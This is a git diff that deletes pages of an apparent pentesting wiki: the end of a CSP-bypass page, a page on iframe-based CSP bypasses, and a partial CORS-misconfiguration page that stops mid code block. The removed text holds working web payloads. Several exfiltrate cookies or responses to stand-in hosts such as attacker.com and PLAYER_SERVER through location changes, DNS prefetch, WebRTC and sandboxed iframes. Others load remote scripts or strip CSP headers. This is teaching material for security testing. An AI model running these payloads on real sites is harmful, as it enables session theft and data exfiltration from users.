-You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows loading images from Twitter. You could **craft** an **special image**, **upload** it to Twitter and abuse the "**unsafe-inline**" to **execute** a JS code (as a regular XSS) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
-
-### With Service Workers
-
-Service workers **`importScripts`** function isn't limited by CSP:
-
-
-{{#ref}}
-../xss-cross-site-scripting/abusing-service-workers.md
-{{#endref}}
-
-### Policy Injection
-
-**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
-
-#### Chrome
-
-If a **parameter** sent by you is being **pasted inside** the **declaration** of the **policy,** then you could **alter** the **policy** in some way that makes **it useless**. You could **allow script 'unsafe-inline'** with any of these bypasses:
-
-```bash
-script-src-elem *; script-src-attr *
-script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
-```
-
-Because this directive will **overwrite existing script-src directives**.\
-You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
-
-#### Edge
-
-In Edge is much simpler. If you can add in the CSP just this: **`;_`** **Edge** would **drop** the entire **policy**.\
-Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
-
-### img-src \*; via XSS (iframe) - Time attack
-
-Notice the lack of the directive `'unsafe-inline'`\
-This time you can make the victim **load** a page in **your control** via **XSS** with a `<iframe`. This time you are going to make the victim access the page from where you want to extract information (**CSRF**). You cannot access the content of the page, but if somehow you can **control the time the page needs to load** you can extract the information you need.
-
-This time a **flag** is going to be extracted, whenever a **char is correctly guessed** via SQLi the **response** takes **more time** due to the sleep function. Then, you will be able to extract the flag:
-
-```html
-<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
-<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
-<script>
-  let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
-  function gen(x) {
-    x = escape(x.replace(/_/g, "\\_"))
-    return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
-  }
-
-  function gen2(x) {
-    x = escape(x)
-    return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
-  }
-
-  async function query(word, end = false) {
-    let h = performance.now()
-    f.location = end ? gen2(word) : gen(word)
-    await new Promise((r) => {
-      g.onload = r
-    })
-    let diff = performance.now() - h
-    return diff > 300
-  }
-
-  let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
-  let postfix = "}"
-
-  async function run() {
-    let prefix = "nn9ed{"
-    while (true) {
-      let i = 0
-      for (i; i < alphabet.length; i++) {
-        let c = alphabet[i]
-        let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
-        console.log(prefix, c, t)
-        if (t) {
-          console.log("FOUND!")
-          prefix += c
-          break
-        }
-      }
-      if (i == alphabet.length) {
-        console.log("missing chars")
-        break
-      }
-      let t = await query(prefix + "}", true)
-      if (t) {
-        prefix += "}"
-        break
-      }
-    }
-    new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
-    console.log(prefix)
-  }
-
-  run()
-</script>
-```
-
-### Via Bookmarklets
-
-This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens.
-
-For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
-
-### CSP bypass by restricting CSP
-
-In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
-
-You can **restrict a CSP of an Iframe** with the **`csp`** attribute:
-
-```html
-<iframe
-  src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
-  csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
-```
-
-In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\
-CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**:
-
-```html
-<meta
-  http-equiv="Content-Security-Policy"
-  content="script-src 'self'
-'unsafe-eval' 'strict-dynamic'
-'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
-'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
-```
-
-### JS exfiltration with Content-Security-Policy-Report-Only
-
-If you can manage to make the server responds with the header **`Content-Security-Policy-Report-Only`** with a **value controlled by you** (maybe because of a CRLF), you could make it point your server and if you **wraps** the **JS content** you want to exfiltrate with **`<script>`** and because highly probable `unsafe-inline` isn't allowed by the CSP, this will **trigger a CSP error** and part of the script (containing the sensitive info) will be sent to the server from `Content-Security-Policy-Report-Only`.
-
-For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
-
-### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
-
-```javascript
-document.querySelector("DIV").innerHTML =
-  '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
-```
-
-### Leaking Information with CSP and Iframe
-
-- An `iframe` is created that points to a URL (let's call it `https://example.redirect.com`) which is permitted by CSP.
-- This URL then redirects to a secret URL (e.g., `https://usersecret.example2.com`) that is **not allowed** by CSP.
-- By listening to the `securitypolicyviolation` event, one can capture the `blockedURI` property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.
-
-It's interesting to note that browsers like Chrome and Firefox have different behaviors in handling iframes with respect to CSP, leading to potential leakage of sensitive information due to undefined behavior.
-
-Another technique involves exploiting the CSP itself to deduce the secret subdomain. This method relies on a binary search algorithm and adjusting the CSP to include specific domains that are deliberately blocked. For example, if the secret subdomain is composed of unknown characters, you can iteratively test different subdomains by modifying the CSP directive to block or allow these subdomains. Here’s a snippet showing how the CSP might be set up to facilitate this method:
-
-```markdown
-img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
-```
-
-By monitoring which requests are blocked or allowed by the CSP, one can narrow down the possible characters in the secret subdomain, eventually uncovering the full URL.
-
-Both methods exploit the nuances of CSP implementation and behavior in browsers, demonstrating how seemingly secure policies can inadvertently leak sensitive information.
-
-Trick from [**here**](https://ctftime.org/writeup/29310).
-
-## Unsafe Technologies to Bypass CSP
-
-### PHP Errors when too many params
-
-According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger.
-
-### PHP response buffer overload
-
-PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\
-Then, the technique consists basically in **filling the response buffer with warnings** so the CSP header isn't sent.
-
-Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
-
-### Kill CSP via max_input_vars (headers already sent)
-
-Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.
-
-```php
-<?php
-header("Content-Security-Policy: default-src 'none';");
-echo $_GET['xss'];
-```
-
-Example:
-```bash
-# CSP in place → payload blocked by browser
-curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
-
-# Exceed max_input_vars to force warnings before header() → CSP stripped
-curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
-# Warning: PHP Request Startup: Input variables exceeded 1000 ...
-# Warning: Cannot modify header information - headers already sent
-```
-
-### Rewrite Error Page
-
-From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.
-
-```javascript
-a = window.open("/" + "x".repeat(4100))
-setTimeout(function () {
-  a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
-}, 1000)
-```
-
-### SOME + 'self' + wordpress
-
-SOME is a technique that abuses an XSS (or highly limited XSS) **in an endpoint of a page** to **abuse** **other endpoints of the same origin.** This is done by loading the vulnerable endpoint from an attacker page and then refreshing the attacker page to the real endpoint in the same origin you want to abuse. This way the **vulnerable endpoint** can use the **`opener`** object in the **payload** to **access the DOM** of the **real endpoint to abuse**. For more information check:
-
-
-{{#ref}}
-../xss-cross-site-scripting/some-same-origin-method-execution.md
-{{#endref}}
-
-Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots).
-
-An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
-For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
-
-## CSP Exfiltration Bypasses
-
-If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
-
-### Location
-
-You could just update the location to send to the attacker's server the secret information:
-
-```javascript
-var sessionid = document.cookie.split("=")[1] + "."
-document.location = "https://attacker.com/?" + sessionid
-```
-
-### Meta tag
-
-You could redirect by injecting a meta tag (this is just a redirect, this won't leak content)
-
-```html
-<meta http-equiv="refresh" content="1; http://attacker.com" />
-```
-
-### DNS Prefetch
-
-To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\
-You can indicate a browser to pre-resolve a hostname with: `<link rel="dns-prefetch" href="something.com">`
-
-You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**:
-
-```javascript
-var sessionid = document.cookie.split("=")[1] + "."
-var body = document.getElementsByTagName("body")[0]
-body.innerHTML =
-  body.innerHTML +
-  '<link rel="dns-prefetch" href="//' +
-  sessionid +
-  'attacker.ch">'
-```
-
-Another way:
-
-```javascript
-const linkEl = document.createElement("link")
-linkEl.rel = "prefetch"
-linkEl.href = urlWithYourPreciousData
-document.head.appendChild(linkEl)
-```
-
-In order to avoid this from happening the server can send the HTTP header:
-
-```
-X-DNS-Prefetch-Control: off
-```
-
-> [!TIP]
-> Apparently, this technique doesn't work in headless browsers (bots)
-
-### WebRTC
-
-On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP.
-
-Actually you can _leak_ informations using a _DNS request_. Check out this code:
-
-```javascript
-;(async () => {
-  p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
-  p.createDataChannel("")
-  p.setLocalDescription(await p.createOffer())
-})()
-```
-
-Another option:
-
-```javascript
-var pc = new RTCPeerConnection({
-  "iceServers":[
-      {"urls":[
-        "turn:74.125.140.127:19305?transport=udp"
-       ],"username":"_all_your_data_belongs_to_us",
-      "credential":"."
-    }]
-});
-pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
-```
-
-### CredentialsContainer
-
-The credential popup sends a DNS request to the iconURL without being restricted by the page. It only works in a secure context (HTTPS) or on localhost.
-
-```javascript
-navigator.credentials.store(
-  new FederatedCredential({
-    id:"satoki", 
-    name:"satoki", 
-    provider:"https:"+your_data+"example.com", 
-    iconURL:"https:"+your_data+"example.com"
-    })
-  )
-```
-
-
-## Checking CSP Policies Online
-
-- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
-- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
-
-## Automatically creating CSP
-
-[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
-
-## References
-
-- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
-- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
-- [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
-- [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
-- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
-- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
-- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
-- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
-- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
-- [Stealing Passwords via HTML Injection Under a Strict CSP](https://afine.com/blogs/stealing-passwords-via-html-injection-under-a-strict-csp)
-- [MDN: Referrer-Policy header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy)
-
-​
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
deleted file mode 100644
index 3ae0bc0a3a4..00000000000
--- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# CSP Bypass via Self + Unsafe Inline with Iframes
-
-{{#include ../../banners/hacktricks-training.md}}
-
-A configuration such as:
-
-```
-Content-Security-Policy: default-src 'self' 'unsafe-inline';
-```
-
-Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
-
-Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
-
-## Via Text & Images
-
-It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:
-
-```javascript
-frame = document.createElement("iframe")
-frame.src = "/css/bootstrap.min.css"
-document.body.appendChild(frame)
-script = document.createElement("script")
-script.src = "//example.com/csp.js"
-window.frames[0].document.head.appendChild(script)
-```
-
-## Via Errors
-
-Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:
-
-```javascript
-// Inducing an nginx error
-frame = document.createElement("iframe")
-frame.src = "/%2e%2e%2f"
-document.body.appendChild(frame)
-
-// Triggering an error with a long URL
-frame = document.createElement("iframe")
-frame.src = "/" + "A".repeat(20000)
-document.body.appendChild(frame)
-
-// Generating an error via extensive cookies
-for (var i = 0; i < 5; i++) {
-  document.cookie = i + "=" + "a".repeat(4000)
-}
-frame = document.createElement("iframe")
-frame.src = "/"
-document.body.appendChild(frame)
-// Removal of cookies is crucial post-execution
-for (var i = 0; i < 5; i++) {
-  document.cookie = i + "="
-}
-```
-
-After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:
-
-```javascript
-script = document.createElement("script")
-script.src = "//example.com/csp.js"
-window.frames[0].document.head.appendChild(script)
-```
-
-## References
-
-- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md
deleted file mode 100644
index 1d24ae538fa..00000000000
--- a/src/pentesting-web/cors-bypass.md
+++ /dev/null
@@ -1,512 +0,0 @@
-# CORS - Misconfigurations & Bypass
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-## What is CORS?
-
-Cross-Origin Resource Sharing (CORS) standard **enables servers to define who can access their assets** and **which HTTP request methods are permitted** from external sources.
-
-A **same-origin** policy mandates that a **server requesting** a resource and the server hosting the **resource** share the same protocol (e.g., `http://`), domain name (e.g., `internal-web.com`), and **port** (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources.
-
-The application of the same-origin policy in the context of `http://normal-website.com/example/example.html` is illustrated as follows:
-
-| URL accessed                              | Access permitted?                       |
-| ----------------------------------------- | --------------------------------------- |
-| `http://normal-website.com/example/`      | Yes: Identical scheme, domain, and port |
-| `http://normal-website.com/example2/`     | Yes: Identical scheme, domain, and port |
-| `https://normal-website.com/example/`     | No: Different scheme and port           |
-| `http://en.normal-website.com/example/`   | No: Different domain                    |
-| `http://www.normal-website.com/example/`  | No: Different domain                    |
-| `http://normal-website.com:8080/example/` | No: Different port\*                    |
-
-\*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.
-
-### `Access-Control-Allow-Origin` Header
-
-This header can allow **multiple origins**, a **`null`** value, or a wildcard **`*`**. However, **no browser supports multiple origins**, and the use of the wildcard `*` is subject to **limitations**. (The wildcard must be used alone, and its use alongside `Access-Control-Allow-Credentials: true` is not permitted.)
-
-This header is **issued by a server** in response to a cross-domain resource request initiated by a website, with the browser automatically adding an `Origin` header.
-
-### `Access-Control-Allow-Credentials` Header
-
-By **default**, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the `Access-Control-Allow-Credentials` header to **`true`**.
-
-If set to `true`, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates).
-
-```javascript
-var xhr = new XMLHttpRequest()
-xhr.onreadystatechange = function () {
-  if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
-    console.log(xhr.responseText)
-  }
-}
-xhr.open("GET", "http://example.com/", true)
-xhr.withCredentials = true
-xhr.send(null)
-```
-
-```javascript
-fetch(url, {
-  credentials: "include",
-})
-```
-
-```javascript
-const xhr = new XMLHttpRequest()
-xhr.open("POST", "https://bar.other/resources/post-here/")
-xhr.setRequestHeader("X-PINGOTHER", "pingpong")
-xhr.setRequestHeader("Content-Type", "application/xml")
-xhr.onreadystatechange = handler
-xhr.send("<person><name>Arun</name></person>")
-```
-
-### CSRF Pre-flight request
-
-### Understanding Pre-flight Requests in Cross-Domain Communication
-
-When initiating a cross-domain request under specific conditions, such as using a **non-standard HTTP method** (anything other than HEAD, GET, POST), introducing new **headers**, or employing a special **Content-Type header value**, a pre-flight request may be required. This preliminary request, leveraging the **`OPTIONS`** method, serves to inform the server of the forthcoming cross-origin request's intentions, including the HTTP methods and headers it intends to use.
-
-The **Cross-Origin Resource Sharing (CORS)** protocol mandates this pre-flight check to determine the feasibility of the requested cross-origin operation by verifying the allowed methods, headers, and the trustworthiness of the origin. For a detailed understanding of what conditions circumvent the need for a pre-flight request, refer to the comprehensive guide provided by [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
-
-It's crucial to note that the **absence of a pre-flight request does not negate the requirement for the response to carry authorization headers**. Without these headers, the browser is incapacitated in its ability to process the response from the cross-origin request.
-
-Consider the following illustration of a pre-flight request aimed at employing the `PUT` method along with a custom header named `Special-Request-Header`:
-
-```
-OPTIONS /info HTTP/1.1
-Host: example2.com
-...
-Origin: https://example.com
-Access-Control-Request-Method: PUT
-Access-Control-Request-Headers: Special-Request-Header
-```
-
-In response, the server might return headers indicating the accepted methods, the allowed origin, and other CORS policy details, as shown below:
-
-```markdown
-HTTP/1.1 204 No Content
-...
-Access-Control-Allow-Origin: https://example.com
-Access-Control-Allow-Methods: PUT, POST, OPTIONS
-Access-Control-Allow-Headers: Authorization
-Access-Control-Allow-Credentials: true
-Access-Control-Max-Age: 240
-```
-
-- **`Access-Control-Allow-Headers`**: This header specifies which headers can be used during the actual request. It is set by the server to indicate the allowed headers in requests from the client.
-- **`Access-Control-Expose-Headers`**: Through this header, the server informs the client about which headers can be exposed as part of the response besides the simple response headers.
-- **`Access-Control-Max-Age`**: This header indicates how long the results of a pre-flight request can be cached. The server sets the maximum time, in seconds, that the information returned by a pre-flight request may be reused.
-- **`Access-Control-Request-Headers`**: Used in pre-flight requests, this header is set by the client to inform the server about which HTTP headers the client wants to use in the actual request.
-- **`Access-Control-Request-Method`**: This header, also used in pre-flight requests, is set by the client to indicate which HTTP method will be used in the actual request.
-- **`Origin`**: This header is automatically set by the browser and indicates the origin of the cross-origin request. It is used by the server to assess whether the incoming request should be allowed or denied based on the CORS policy.
-
-Note that usually (depending on the content-type and headers set) in a **GET/POST request no pre-flight request is sent** (the request is sent **directly**), but if you want to access the **headers/body of the response**, it must contains an _Access-Control-Allow-Origin_ header allowing it.\
-**Therefore, CORS doesn't protect against CSRF (but it can be helpful).**
-
-### **Local Network Requests Pre-flight request**
-
-Modern browsers and the current **Private Network Access (PNA)** draft use the headers **`Access-Control-Request-Private-Network: true`** in the preflight and **`Access-Control-Allow-Private-Network: true`** in the response. Older articles and PoCs may still refer to `Local-Network` header names, but for current testing you should expect the `Private-Network` variants.
-
-A **valid response allowing the local network request** needs to also include `Access-Control-Allow-Private-Network: true`:
-
-```
-HTTP/1.1 200 OK
-...
-Access-Control-Allow-Origin: https://example.com
-Access-Control-Allow-Methods: GET
-Access-Control-Allow-Credentials: true
-Access-Control-Allow-Private-Network: true
-Content-Length: 0
-...
-```
-
-And the preflight request will look similar to:
-
-```http
-OPTIONS / HTTP/1.1
-Host: router.local
-Origin: https://example.com
-Access-Control-Request-Method: GET
-Access-Control-Request-Private-Network: true
-```
-
-> [!NOTE]
-> Chrome's PNA rollout changed several times during 2024. As of **October 9, 2024**, Chrome documented that **PNA preflights were on hold** because of compatibility problems, while secure-context restrictions remained in place. Therefore, keep testing both the **spec-compliant preflight flow** and the older **"works in practice because enforcement is incomplete"** behavior.
-
-> [!WARNING]
-> Note that the linux **0.0.0.0** IP works to **bypass** these requirements to access localhost as that IP address is not considered "local".
->
-> Chrome also documented that **`0.0.0.0/8`** is now treated as part of Private Network Access, so this trick is browser/version-dependent and should be re-tested instead of assumed.
->
-> It's also possible to **bypass the Local Network requirements** if you use the **public IP address of a local endpoint** (like the public IP of the router). Because in several occasions, even if the **public IP** is being accessed, if it's **from the local network**, access will be granted.
-
-### Wildcards
-
-Note that even if the following configuration might look super permissive:
-
-```bash
-Access-Control-Allow-Origin: *
-Access-Control-Allow-Credentials: true
-```
-
-This is not allowed by browsers and therefore credentials won't be sent with the request allowed by this.
-
-## Exploitable misconfigurations
-
-It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible.
-
-### Exception: Exploiting Network Location as Authentication
-
-An exception exists where the victim's network location acts as a form of authentication. This allows for the victim's browser to be used as a proxy, circumventing IP-based authentication to access intranet applications. This method shares similarities in impact with DNS rebinding but is simpler to exploit.
-
-### Reflection of `Origin` in `Access-Control-Allow-Origin`
-
-The real-world scenario where the `Origin` header's value is reflected in `Access-Control-Allow-Origin` is theoretically improbable due to restrictions on combining these headers. However, developers seeking to enable CORS for multiple URLs may dynamically generate the `Access-Control-Allow-Origin` header by copying the `Origin` header's value. This approach can introduce vulnerabilities, particularly when an attacker employs a domain with a name designed to appear legitimate, thereby deceiving the validation logic.
-
-```html
-<script>
-  var req = new XMLHttpRequest()
-  req.onload = reqListener
-  req.open("get", "https://example.com/details", true)
-  req.withCredentials = true
-  req.send()
-  function reqListener() {
-    location = "/log?key=" + this.responseText
-  }
-</script>
-```
-
-### Exploiting the `null` Origin
-
-The `null` origin, specified for situations like redirects or local HTML files, holds a unique position. Some applications whitelist this origin to facilitate local development, inadvertently allowing any website to mimic a `null` origin through a sandboxed iframe, thus bypassing CORS restrictions.
-
-```html
-<iframe
-  sandbox="allow-scripts allow-top-navigation allow-forms"
-  src="data:text/html,<script>
-  var req = new XMLHttpRequest();
-  req.onload = reqListener;
-  req.open('get','https://example/details',true);
-  req.withCredentials = true;
-  req.send();
-  function reqListener() {
-    location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
-  };
-</script>"></iframe>
-```
-
-```html
-<iframe
-  sandbox="allow-scripts allow-top-navigation allow-forms"
-  srcdoc="<script>
-  var req = new XMLHttpRequest();
-  req.onload = reqListener;
-  req.open('get','https://example/details',true);
-  req.withCredentials = true;
-  req.send();
-  function reqListener() {
-    location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
-  };
-</script>"></iframe>
-```
-
-### Regular Expression Bypass Techniques
-
-When encountering a domain whitelist, it's crucial to test for bypass opportunities, such as appending the attacker's domain to a whitelisted domain or exploiting subdomain takeover vulnerabilities. Additionally, regular expressions used for domain validation may overlook nuances in domain naming conventions, presenting further bypass opportunities.
-
-### Advanced Regular Expression Bypasses
-
-Regex patterns typically concentrate on alphanumeric, dot (.), and hyphen (-) characters, neglecting other possibilities. For example, a domain name crafted to include characters interpreted differently by browsers and regex patterns can bypass security checks. Safari, Chrome, and Firefox's handling of underscore characters in subdomains illustrates how such discrepancies can be exploited to circumvent domain validation logic.
-
-**For more information and settings of this bypass check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **and** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
-
-![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../images/image (284).png>)
-
-### From XSS inside a subdomain
-
-Developers often implement defensive mechanisms to protect against CORS exploitation by whitelisting domains that are permitted to request information. Despite these precautions, the system's security is not foolproof. The presence of even a single vulnerable subdomain within the whitelisted domains can open the door to CORS exploitation through other vulnerabilities, such as XSS (Cross-Site Scripting).
-
-To illustrate, consider the scenario where a domain, `requester.com`, is whitelisted to access resources from another domain, `provider.com`. The server-side configuration might look something like this:
-
-```javascript
-if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
-  // Access data
-} else {
-  // Unauthorized access
-}
-```
-
-In this setup, all subdomains of `requester.com` are allowed access. However, if a subdomain, say `sub.requester.com`, is compromised with an XSS vulnerability, an attacker can leverage this weakness. For example, an attacker with access to `sub.requester.com` could exploit the XSS vulnerability to bypass CORS policies and maliciously access resources on `provider.com`.
-
-### **Special Characters**
-
-PortSwigger’s [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) found that some browsers support strange characters within domain names.
-
-Chrome and Firefox support underscores `_` that can bypass regexes implemented to validate the `Origin` header:
-
-```
-GET / HTTP/2
-Cookie: <session_cookie>
-Origin: https://target.application_.arbitrary.com
-```
-
-```
-HTTP/2 200 OK
-Access-Control-Allow-Origin: https://target.application_.arbitrary.com
-Access-Control-Allow-Credentials: true
-```
-
-Safari is even more lax accepting special characters in the domain name:
-
-```
-GET / HTTP/2
-Cookie: <session_cookie>
-Origin: https://target.application}.arbitrary.com
-```
-
-```
-HTTP/2 200 OK
-Cookie: <session_cookie>
-Access-Control-Allow-Origin: https://target.application}.arbitrary.com
-Access-Control-Allow-Credentials: true
-```
-
-Recent updates to PortSwigger's cheat sheet added more **Safari-oriented domain splitting** payloads that are worth fuzzing when the target validates the `Origin` header using regexes or home-grown URL parsers:
-
-```text
-https://example.com.{.attacker.com/
